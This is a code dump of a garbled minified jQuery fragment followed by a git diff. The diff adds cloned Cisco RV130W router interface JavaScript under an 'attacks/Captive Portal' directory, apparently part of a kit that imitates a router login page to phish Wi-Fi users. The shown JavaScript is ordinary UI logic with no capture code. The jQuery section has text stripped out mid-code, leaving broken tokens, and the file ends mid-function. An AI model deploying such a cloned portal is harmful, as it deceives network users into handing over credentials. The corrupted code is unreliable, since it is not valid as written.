n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
      "],col:[2,"","
      "],tr:[2,"","
      "],td:[3,"","
      "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("
      :
       
       
      Resize Navigation Pane
       
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Cisco_it.portal/js/common.js b/attacks/Captive Portal/sites/Cisco_it.portal/js/common.js new file mode 100644 index 0000000..f712c0c --- /dev/null +++ b/attacks/Captive Portal/sites/Cisco_it.portal/js/common.js @@ -0,0 +1,2776 @@ +var ZERO_NO = 1; // 0x0000 0001 +var ZERO_OK = 2; // 0x0000 0010 +// x.x.x.0 +var MASK_NO = 4; // 0x0000 0100 +var MASK_OK = 8; // 0x0000 1000 +// 255.255.255.255 +var BCST_NO = 16; // 0x0001 0000 +var BCST_OK = 32; // 0x0010 0000 + +var SPACE_NO = 64; // 0x0100 0000 +var SPACE_OK = 128; // 0x1000 0000 + +var LANSUBNET_NO = 64; // 0x0100 0000 +var LANSUBNET_OK = 128; // 0x1000 0000 + +var VALID_IP_RULE1="1-223.0-255.0-255.1-254"; +var VALID_IP_RULE2="0-255.0-255.0-255.0-255"; +var VALID_IP_RULE3="1-223.0-255.0-255.0-254"; +var VALID_IP_RULE4="10-10.0-255.0-255.0-255"; +var VALID_IP_RULE5="172-172.16-31.0-255.0-255"; +var VALID_IP_RULE6="192-192.168-168.0-255.0-255"; +var VALID_IP_RULE7="1-223.0-255.0-255.0-255"; + +var http_power='r'; +var http_from = 'lan'; + +/* MAXLENGTH */ +var FORWARD_MAX=30; +var SINGLEFORWARD_MAX=20; +var MAX_WIFI=4; +var FORWARDING_MAXLEN=20; +var TRIGGER_MAXLEN=20; + +//AUTO=1 call keep_val() for check +//AUTO=0 call get_data() for check +var CHK_VALUE_AUTO=1; + +/* + Description: Defined table of td type + function Name: draw_td + Author: Emily Liao + Modify: 2010.3.25 +*/ +var FUNTITLE =1; +var SUBTITLE =2; +var ISHR =3; +var TABLETD =4; +var TABLETD_TAIL =5; +var TABLETD_TAIL_R =27; +var TABLETD_TAIL_C =28; +var TABLETD_SINGLE_LINE=6; +var TABLETD_SINGLE_LINE_R=25; +var TABLETD_SINGLE_LINE_C=26; +var MAINFUN =8; +var SUBTITLE_M =9; +var FUNTITLE_R =13; +var TABLETD_SINGLE_LINE_FIRST=18; +var TABLETD_SINGLE_LINE_FIRST_R=7; +var TABLETD_SINGLE_LINE_FIRST_C=24; +var ICONLINE=19; +var CREATE_EDIT_TABLE=20; +var PWDLINE=21; +var SUBTITLE_NOSHIFT =22; +var SUBTITLE_MSG=23; + +//TABLE TD TYPE DEFINE END + +// Output type define +var O_GUI = 1; +var O_VAR = 2; +var O_MSG = 3; +var O_PAGE = 4; + +var WARNING=1; +var ERROR=2; +var INFO=3; +var SUCCESS=4; + +var support_3g = 0; +support_3g=1 + +var PASS=1; +var FAIL=0; +var Browser = CheckBrowser(); +var current_model_name = "RV130W"; +var PASS_ICON_PATH="image/Status_success_icon.png"; +var ERROR_ICON_PATH="image/Status_ciriticalerror_icon.png"; +var INFO_ICON_PATH="image/Status_information_icon.png"; +var WARN_ICON_PATH="image/Status_warning_icon.gif"; +var ap_mode = "0"; +if ( ap_mode != "1" ) ap_mode == "0"; +var now_lang="EN"; +var is_24_lang_list=new Array("FR","DE","SP","PT","IT"); + +var flg_24=0; +for(var i=0; i/'); + new_msg = new_msg.replace(re,args[i]); + } + return new_msg; +} + +function parseIP(ipaddr) +{ + if( check_ipv4(ipaddr,VALID_IP_RULE7) != PASS ) + return ipaddr; + var tmpip = ipaddr.split("."); + var newip = ""; + if ( tmpip.length != 4 ) return ipaddr; + for(var i=0; i<4; i++) + { + if ( newip != "" ) newip+="."; + newip += parseInt(tmpip[i], 10); + } + return newip; +} + +function clear_msg(obj_name, span_id){ + if ( document.getElementById(obj_name) ) + document.getElementById(obj_name).style.backgroundColor=""; + if ( document.getElementById(span_id) ) + document.getElementById(span_id).innerHTML=""; +} + +function table_msg(img_id,obj_id,div_id,index,errmsg) +{ + if ( typeof index != 'undefined' ) + { + if ( document.getElementById("tmsg"+index) ) + { + document.getElementById("tmsg"+index).innerHTML = __T(share.tableerrmsg); + document.getElementById("tmsg"+index).style.display=""; + } + }else{ + if ( document.getElementById("tmsg") ) + { + document.getElementById("tmsg").innerHTML = __T(share.tableerrmsg); + document.getElementById("tmsg").style.display=""; + } + } + document.getElementById(img_id).style.display=""; + if ( document.getElementById(obj_id) ) // For not Row selected + document.getElementById(obj_id).className="TABLECONTENT__TD_ERR"; + document.getElementById("div_msg"+div_id).innerHTML = errmsg; + document.getElementById("tr_table"+index).className= "TABLECONTENT_ERR"; +} + +function clear_table_msg(guide_id,image_id,object_id,index) +{ + //document.getElementById(guide_id).style.display="none"; + if ( document.getElementById(image_id) ) + { + document.getElementById(image_id).style.display="none"; + document.getElementById(image_id).alt=""; + } + if ( document.getElementById(object_id) ) + document.getElementById(object_id).className= "TABLECONTENT__TD_RECOVERY"; + //table message + if ( document.getElementById("tmsg") ) + document.getElementById("tmsg").innerHTML = __T(msg.tablemsg); + var tmp=-1; + if ( chk_chartype(index,DIGIT) == PASS ) + tmp = index; + else + tmp = index.substring(index.indexOf("_")+1,index.length); + if ( tmp != -1 ) + { + if ( tmp%2 == 0 ) + document.getElementById("tr_table"+index).className= "TABLECONTENT_S"; + else + document.getElementById("tr_table"+index).className= "TABLECONTENT_D"; + } +} + +function SHOW_HIDDEN_TABLE(bt_name,table_id,img_id,show_str,hide_str) +{ + var obj = document.getElementById(bt_name).innerHTML; + + if (obj == show_str){ + document.getElementById(img_id).src = "image/show1.gif"; + document.getElementById(table_id).style.display=""; + document.getElementById(bt_name).innerHTML = hide_str; + }else{ + document.getElementById(img_id).src = "image/show.gif"; + document.getElementById(table_id).style.display="none"; + document.getElementById(bt_name).innerHTML = show_str; + } + +} + +function get_full_ip(F,obj_name) +{ + var tmp=""; + for(var i=0; i<4; i++) + { + if ( tmp != "" ) tmp+="."; + tmp += document.getElementById(obj_name+"_"+i).value; +// tmp += eval("F."+obj_name+"_"+i).value; + } + return tmp; +} + +function table_bt_out(obj_id,img_id,show_str) +{ + if ( document.getElementById(img_id).src.indexOf("image/showDis") !=-1 ) return; + if ( document.getElementById(obj_id).innerHTML == show_str) + document.getElementById(img_id).src = "image/show.gif"; + else + document.getElementById(img_id).src = "image/show1.gif"; +} + +function table_bt_over(obj_id,img_id,show_str) +{ + if ( document.getElementById(img_id).src.indexOf("image/showDis") !=-1 ) return; + if ( document.getElementById(obj_id).innerHTML == show_str) + document.getElementById(img_id).src = "image/showHover.gif"; + else + document.getElementById(img_id).src = "image/showHover1.gif"; +} + +function removed_pwd_result(id) +{ + var tbody = document.getElementById("pwdtb"+id).getElementsByTagName("TBODY")[0]; + if (document.getElementById("pwd_tr"+id) != 'undefined' && document.getElementById("pwd_tr"+id) != null) + tbody.removeChild(document.getElementById("pwd_tr"+id)); +} + +function show_pwd_result(cnt,id) +{ + var obj_msg = document.getElementById("msg_pwd"+id); + if ( cnt == 0 ) + { + obj_msg.style.display="none"; + return; + } + obj_msg.style.display=""; + removed_pwd_result(id); + document.getElementById("pwdtb"+id).style.display=""; + var tbody = document.getElementById("pwdtb"+id).getElementsByTagName("TBODY")[0]; + var row = document.createElement("tr"); + row.setAttribute("id","pwd_tr"+id); + for(var i=0; i<14; i++) + { + if ( cnt > i ) + { + if ( i < 4 ) color = "red"; + else if ( i>=4 && i<=8 ) color = "yellow"; + else color = "green"; + }else + color="#e7eff7"; + + tdArray = document.createElement("td"); + tdArray.setAttribute("bgColor",color); + tdArray.style.color=color; + tdArray.style.font="4px Arial"; + tdArray.innerHTML = "2"; + row.appendChild(tdArray); + } + tbody.appendChild(row); + if ( cnt>0 && cnt<=4 ) obj_msg.innerHTML = __T(msg.belowmin); + else if ( cnt>4 && cnt<=7 ) obj_msg.innerHTML = __T(msg.weak); + else if ( cnt>7 && cnt<=10 ) obj_msg.innerHTML = __T(msg.strong); + else if ( cnt>10 && cnt<=12 ) obj_msg.innerHTML = __T(msg.verystrong); + else if ( cnt>12 ) obj_msg.innerHTML = __T(msg.secure); +} + +var ISNUM=1; +var ISCHAR=2; +var ISBCHAR=4; +var ISOTHER=8; +function chk_char_type(ch) +{ + if( ch >= 48 && ch <= 57 ) return ISNUM; + else if( ch >= 65 && ch <= 90 ) return ISCHAR; + else if( ch >= 97 && ch <= 122 ) return ISBCHAR; + return ISOTHER; + +} + +function count_pwd(val,len,pwd_class) +{ + var ch="",ch1=""; + var ch_type0=0,chtype1=0; + var now_class=0, trans_num=0, class_type=0, add_num=0; + if ( pwd_class == 0 && len == 0 ) return 5; + for(var i=0; i 999 && parseInt(strNum,10) <= 999999 ){ + if ( args[1] == "byte" ) + tmp = formatNumByComma((parseInt(strNum,10)/1000).toFixed(2),lang)+" "+__T(unit.KB); + else + tmp = formatNumByComma((parseInt(strNum,10)/1000).toFixed(2),lang)+" "+__T(unit.onlyK); + }else if ( parseInt(strNum,10) > 999999 && parseInt(strNum,10) <= 999999999 ){ + if ( args[1] == "byte" ) + tmp = formatNumByComma((parseInt(strNum,10)/1000000).toFixed(2),lang)+" "+__T(unit.MB); + else + tmp = formatNumByComma((parseInt(strNum,10)/1000000).toFixed(2),lang)+" "+__T(unit.onlyM); + }else if ( parseInt(strNum,10) > 999999999 ){ + if ( args[1] == "byte" ) + tmp = formatNumByComma((parseInt(strNum,10)/1000000000).toFixed(2),lang)+" "+__T(unit.GB); + else + tmp = formatNumByComma((parseInt(strNum,10)/1000000000).toFixed(2),lang)+" "+__T(unit.onlyG); + } + return tmp; +} + +function formatNumByComma(strNum){ + if ( strNum.length <=3 ) return strNum; + if ( !/^(\+|-)?(\d+)(\.\d+)?$/.test(strNum) ){ + return strNUm; //Invalid format + } + var a = RegExp.$1, b=RegExp.$2, 